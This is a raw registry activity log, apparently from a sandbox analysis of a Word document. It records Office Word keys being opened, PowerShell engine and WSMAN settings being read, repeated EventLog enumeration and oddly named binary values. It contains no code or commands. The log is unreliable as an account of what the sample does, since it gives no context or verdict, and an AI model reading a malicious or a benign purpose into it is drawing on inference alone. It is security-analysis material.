Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems	-	5	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency	-	10	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency	-	5	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	4	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	4	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	4	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software	-	5	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	4	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software	-	5	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word	-	4	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software	-	5	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Resiliency\StartupItems	-	24	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Resiliency	-	40	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word	-	40	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0	-	40	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Office	-	40	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft	-	37	Fn
Open Key	HKEY_CURRENT_USER\Software	-	28	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = 0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment	value_name = PSMODULEPATH, data = 0, type = REG_EXPAND_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment	value_name = PSMODULEPATH, data = %SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\, type = REG_EXPAND_SZ	1	Fn
Read Value	HKEY_CURRENT_USER\Environment	value_name = PSMODULEPATH, type = REG_NONE	1	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell	value_name = path, data = 0, type = REG_SZ	2	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell	value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = 0, type = REG_SZ	2	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ	2	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell	value_name = path, data = 0, type = REG_SZ	2	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell	value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = 0, type = REG_SZ	9	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ	9	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	value_name = StackVersion, data = 0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	value_name = StackVersion, data = 2.0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	value_name = StackVersion, data = 0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	value_name = StackVersion, data = 2.0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = 0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ	1	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = 0, type = REG_SZ	2	Fn
Read Value	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ	2	Fn
Read Value	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds	value_name = PipelineMaxStackSizeMB, type = REG_NONE	1	Fn
Read Value	HKEY_CURRENT_USER\Software\Microsoft	value_name = mq*, type = REG_BINARY	2	Fn Data
Read Value	HKEY_CURRENT_USER\Software\Microsoft	value_name = \|5,, type = REG_BINARY	2	Fn Data
Read Value	-	value_name = mq*, type = REG_BINARY	2	Fn Data
Read Value	-	value_name = \|5,, type = REG_BINARY	2	Fn Data
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER	-	12	Fn
Enumerate Keys	HKEY_CURRENT_USER	-	12	Fn
Enumerate Keys	HKEY_CURRENT_USER	-	12	Fn
Enumerate Keys	HKEY_CURRENT_USER	-	12	Fn
Enumerate Keys	HKEY_CURRENT_USER	-	12	Fn
Enumerate Keys	HKEY_CURRENT_USER	-	12	Fn
Enumerate Keys	HKEY_CURRENT_USER	-	12	Fn
Enumerate Keys	HKEY_CURRENT_USER	-	12	Fn
Enumerate Keys	HKEY_CURRENT_USER	-	12	Fn
Enumerate Keys	HKEY_CURRENT_USER	-	12	Fn
Enumerate Keys	HKEY_CURRENT_USER	-	12	Fn
Enumerate Keys	HKEY_CURRENT_USER	-	12	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
Enumerate Keys	HKEY_CURRENT_USER\Software	-	1	Fn
